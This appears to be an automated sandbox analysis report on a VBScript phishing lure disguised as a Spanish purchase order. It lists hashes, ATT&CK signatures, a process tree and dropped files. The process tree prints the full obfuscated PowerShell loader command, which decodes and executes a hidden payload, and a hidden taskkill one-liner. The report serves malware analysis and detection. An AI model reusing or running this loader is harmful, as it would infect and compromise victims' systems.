33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/08/2026, 07:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Orden de Compra - PO00009769.vbs
Size 25KB
Sample260820-js2a6asdne
SHA256 33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2
MD5 10cdd9b160b459ce49cf7dfc8c7b1b62
SHA1 84c4b47514661df74a23918ca49f5d24b89c019d
SHA512 7026d029962e25ee4d1fe4f8f1a8314a37a9c31ef33cecba99f5079ce5256bc6a0291b25f9ee9e89b73dcdd7122e135d246b73229ed1fa7f8d92244b5cbd42ec
SSDEEP 384:KeUvjn35YjU+1HwUObc4EHk8pLyUnj48KzvxLpKazX2qzz1kNons0ooUI+8XDOIH:KnO2JYrk8ZtjjUpLgXky2z
TLSH
T165B22F168C068BFC1D27ED75A56BE42599F0036768387839F98BD3C93B355D38BD00A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	836	powershell.exe
7	836	powershell.exe
9	836	powershell.exe
33	836	powershell.exe
50	836	powershell.exe
79	836	powershell.exe
90	836	powershell.exe
91	836	powershell.exe
101	836	powershell.exe
107	836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe
836	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1452	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4828	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5004	taskkill.exe
3716	taskkill.exe
3772	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
836	powershell.exe
836	powershell.exe
2796	powershell.exe
2796	powershell.exe
836	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	3772	taskkill.exe
Token: SeDebugPrivilege	5004	taskkill.exe
Token: SeDebugPrivilege	3716	taskkill.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 836	1452	WScript.exe	85
PID 836 wrote to memory of 2024	836	powershell.exe	87
PID 2024 wrote to memory of 2368	2024	csc.exe	88
PID 836 wrote to memory of 2796	836	powershell.exe	108
PID 2796 wrote to memory of 4828	2796	powershell.exe	110
PID 4828 wrote to memory of 3772	4828	cmd.exe	112
PID 4828 wrote to memory of 5004	4828	cmd.exe	113
PID 4828 wrote to memory of 3716	4828	cmd.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de Compra - PO00009769.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=85-11;$z1e94F='fA95Dp0vs';$ou8VbFwno='aa9efdfc9ab3f5b2f99388bbbb9df3e1f8b2f1deaaa4b589e3afada986bdcb8ba2eef29ca288fcfb87b4fd81e3f6bec7d9d6f4ddb9ad9f9fe1f680bdb287bbb59ff6c4b387b2878ab598e7fa83f4d9b3b7ba8ee1ebb3e0a09aaba386d1fe9dbface88ab899faf189f2beaff0b0cee8bbb1f7f8a4b6becff8e2c7f3e7d1d3c1e1c0eb8fa8eef18aa08ef6efcef7c9b9baa385f7eccee997d682828ee7b1bdbfe8aab0af8ec3f087b4ee91b8a28af4fa9c87a0e68aa988e6ed87aee38caba39ffcfc81b6bae1f997a5f6ebc089ffbfacbe82e7e6bea8f5a8b6af84ffcb97aaff81e3f6bfffecdfe897d6fdadd8a3a2c685f9fcfe94d9ddaebdebf68b8e8a93e6dca8bed884eab49fc7acbc99ff8da995a8c5fba183cf96ecaedaa6f58a8beeb4bb8d9fdcfd8280ee8ab5a0d3f1c9a8bcfc9abd82bcc5d9a782dcb4a3aebdd9c5889cfe8ebaa293a2cca990f0b88c8a92f5c7828fc3b1ae83a8a2f4a499f492b095d9ffc7b6bdf2e99aa1a1c4cedeaef38db7a0a9cbac96e3d9eda9bf8fffe79f83a98a9b95bce4d4bbb6f6a68c8a93e5f9af90ce8581f9d2c2c98990f889e0a5bdf8d2a1b9d2a4a18887aaa78c8cf6b6b88487c5fca994cab98faba2f7c98a80f8949f85b3fef7db8cdda8acaabed5c6ad8dab8c80a0b1d7db80becb84e8a88df5f2de8ac38ba1fda8ffa6d68caae9b18fd8a2ddb99bf6a88dfea1c4ce99efedb99f8da6f0f19682ccb29bf4b3d5e797b8edac9694d9ebdbbd92d8b68dbba1eafcdd9cc284ea829fc2f38289ff84b59588a0f3c58dcbb79299dae3ecaaeaafad9a8bdad0c8a880ee88b5f5c0f2cadf80f894e880bcc5d6a1bef6b793aabdd1e8889cf290bd8d8cd8de89e7a7fbf0c1e1d2fb8af7cea5a9a9cbbecb97aaff98bcaa82fdf69ab3f5b2f9e4b0c7fa96aeb499b7af84f7f680bdc7e6e399bfd5a7c09dffa88ab899faf189f2c19fb6a29df6ed9a87a0e69fbe84fedd8fa9ffeaed9f9fe1f680bdb2f8b8ffdbbab6c7d790baaca288e7f681b4bab8f1e88aa0aec7a1bebdeafed6ddfa99f7d5beb3a988e7bfa0bfeef28ea989d0f387bff4a8e2e4acf6ebc388fbb2bda386b3bb8fe9abfcf48f84e6f19afabebdeafdc5d0f09bb4eef5a5e990e7ed97a1e8b9adb999fdbfcabba9eef78884e4f182b5fbb89dad9ff2b7ca85b3a1baad9ff0f795a7e7a1d4c68de6f18daef3b3b7ec82bbbb8fe9b6f8b8f8c7b7fedbf6bebdeff1abbbb6c7a1bebdeef1b0c3f78fb4eeb3b48b8ae7fab3e0a090b6ad8fd2ec9dbff7beb5b5c3b7feddf3a1f8b8f4d6b7fed9f4ddb9ad9892e3fa9df2b3a0e6b7cfcc';$mpNNFqmk='HVIZDH1rBE5DEzkJETEBBBdbCDANWSwBBBsIdHEYLXRRDUxCGzANVT0NPnFDVXgJA2VMCk0IcX0CBHhLAmVKUnMfPTl6BgMBUiRZOkcUL3pgAEI5NkZRKnRwV0c7InVKMRJWY0EAB0lGCXVvZyUcNkZjUR4BGj1FWzVHVR5PVTxNRHAcS2pVYGANFHhGTFh9cncYCWdEEUxUbi5WI2NABFdDenofFHBLBkYOF3VUSWweQUIfHV0CFn5OAAsCUSRARHATTF4rORlmRHMUWGMOGzwzAzECMBMfYzNFQDoFTXxFEzM/F1RwI2VeYEBdLl5yN3V/ZVI1NXVgCWxzdSE7OHpOMHZKaXU0JiVwNnUTa0wAEFh9DkRzayU+LUdzAXZxXyw5A31/BHtgB0EvIkd3NhJRDjNFST0NTXxFEzM5UCh1NlRjZlItWF5jNEhsd3w5K1JkUXVlVCQgJlccMHdgZUw6JmFDNmF3elI6Jl19JB4bFD1FTDkNOkAGFEFcWUF2EmZzdVUDLFVnMGhiciw6I0ARLmV3XF8vMkN2M09RZlcuNkN2VFQbFD1FSRwvDEUOGzAOUixBRQdEAj1BAX9BTQdHByk3NHRdEQ1jXXcDBHhLAn4cCUE4JikLIkZSYGAeCX9CTQdEAT1FTXxEEUBOG0sPQDZnEkdJUScDXTYMRQgGG0sPQDZEMhtgcUYhNlR0NHBkRHBHBEAYWAQPEz9MSE5GRQRAREEqRzgMHi4sEzRIAiIFWAMObHdMR0AWCVBlci04MSJ8MHdgQ14qJSRsI3V0ekMHKURjJGVva1EEBERjHUdzAiUlOERNAwQPEy9MRHMWRR4GF3ZfTkJQB1BSQX0CBzkVSQMCUSdCLHRLAldOEzlMUSMMaCkCUiddQCwFTXxFEzMvFywYQgoGCBlmRHMRWAt5UDRLNnpvKXBwYXc/NmFyI3toZjNFQDoFTXxFEzM6DCRANmIbDjNFWxwvRQMGE31MSEpmCk1QVmYYPSsfI1FJXlYNE3QTUXBSQX0CBzkBKEJSUHwJE0oUOAoPEzAOVDENOkAGFEc5VUd2IEQbFD1MIDkBBxAKEzANUyAJRQQBHzREP3IFQkJwBncJC3lyQgoKEzwzAzECJlQbDjNFQD0FTXxFEzM9F1xrQgoPPh5MQDEFIkZSHkQeD3JAFlBaQHseFDFmNXYGHnAJE3JZFkZKVncYQDxDDFFVRzRZHHdRRW1HXnFAI0FwRV4rORlmQDEFRQMGEzRMQA==';$dp0DFRXg=0x80EC-0x39E9;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0xAA)};$r1Y3GfVj=$cUXA3FJ;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0x55)};$uXRGWv=$cUXA3FJ;$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$ou8VbFwno.Length;$j+=2){$cUXA3FJoldR+=[char](([Convert]::ToInt32($ou8VbFwno.Substring($j,2),16))-bxor$r1Y3GfVj[$i++%$r1Y3GfVj.Length])};$aCclkMoYZ=$cUXA3FJoldR;$cUXA3FJoldB=[Convert]::FromBase64String([regex]::Replace($mpNNFqmk, '$cUXA3FJ', ''));$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$cUXA3FJoldB.Length;$j++){$cUXA3FJoldR+=[char]($cUXA3FJoldB[$j]-bxor$uXRGWv[$i++%$uXRGWv.Length])};$lx8aWkaJz=$cUXA3FJoldR;$bMRoUrgOv=$aCclkMoYZ+$lx8aWkaJz;.($env:ComSpec[4,26,25]-join'') $bMRoUrgOv
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dyqlvcuk\dyqlvcuk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES57CF.tmp" "c:\Users\Admin\AppData\Local\Temp\dyqlvcuk\CSC6AD5F525211647E99B615FED1EFD1A6.TMP"
      4⤵
      PID:2368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4828
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3772
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5004
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

RES57CF.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES57CF.tmp
Size 1KB
SHA256 6710896112756cc47b578b180b2da7d478cb066956a9f326882ee2e39a8a50b3
MD5 55da386f7d54029bafefac0cdd1172d9
SHA1 dcb154e6fea69e7311303e15a2f4d42696c74e0c
SHA512 876f39b2ebef40539ea9e5dc255ae03a3e60947333a6afa01705e1c66dc055bfe4c02eaf8ba7d4f904a79014183ab83efb49a640062b63961d8411d95e8cacd3
TLSH
T1B2218C0583EC470EF07757326DF6172B9134FDA4AFB2535AC540412C1C51554EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_f4lzenca.idi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4lzenca.idi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dyqlvcuk.dll

Path C:\Users\Admin\AppData\Local\Temp\dyqlvcuk\dyqlvcuk.dll
Size 3KB
SHA256 5d606b8ce538786f91a2ba58cd0cf83372f1c32ac74b8043750a3fa31c90579c
MD5 9104725a2f3476c63158a75d596d08fd
SHA1 ba281cf42b12a61e8dbb0e32781a7c8ef123de1a
SHA512 4fcc1e2cddc2c7df3f72a0072104f0db0b2164dee5c1360f13520db6c39b38e85761d9cbfe1b1eac2bdb624cd90c668b0776c11e5b00d1d30289f592481b7527
TLSH
T10D51FD0A93E8462BE4B70B357EE743132774F920EB66530D5980426CAC217745E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC6AD5F525211647E99B615FED1EFD1A6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dyqlvcuk\CSC6AD5F525211647E99B615FED1EFD1A6.TMP
Size 652B
SHA256 0ee6b6b29b341821a2c70e44b6c61c14a5277aa75c7d93c8db7bb6e482b80915
MD5 72e1883559b152dcaccb3bb708315371
SHA1 b69b6940e93f74f8e8e0f64aa98c80c974616002
SHA512 74b3e5ba8b58132081a89b1868580070019fbaf95e6a46173aea7aef3fb7a7fe67b2e15b3291e68442b8b3676a2da741dd2aa9fe836f68d07fe8c87b2c68df21
TLSH
T150F0824A63F8420EF4F34B30BDF6436395A9BC65DE3293ED5440031D2C64A20C962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

dyqlvcuk.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dyqlvcuk\dyqlvcuk.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

dyqlvcuk.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dyqlvcuk\dyqlvcuk.cmdline
Size 369B
SHA256 272be9e1fd15d5ab6e9ec8617503080632feb43d3ca517c437884f25dae6c75d
MD5 367eaac5ac35da02e4933518728fc6be
SHA1 be4a121268ae904216f9833fe1a5785033455dc9
SHA512 c3b6c0debd8f0e379232eacd5b18cdaff5f98ace9b0ea148f43f70c7d7a09ccec5bdb3d2a6223639768deb426bd790c69968ce6f94676df085f63e2f5700123b
TLSH
T1C7E0C02A9646C27D01ED10072169E5ADC372075B7D493F847248C58DD01740067D1F45
MD5 SHA1 SHA512 TLSH

Submit Download

memory/836-10-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download

memory/836-0-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download

memory/836-23-0x000001CB87F80000-0x000001CB87F88000-memory.dmp

Download

memory/836-25-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download

memory/836-24-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download

memory/836-26-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download

memory/836-27-0x000001CB87EA0000-0x000001CB87EB6000-memory.dmp

Download

memory/836-3-0x000001CBA04F0000-0x000001CBA0512000-memory.dmp

Download

memory/836-1-0x000001CBA0570000-0x000001CBA0580000-memory.dmp

Download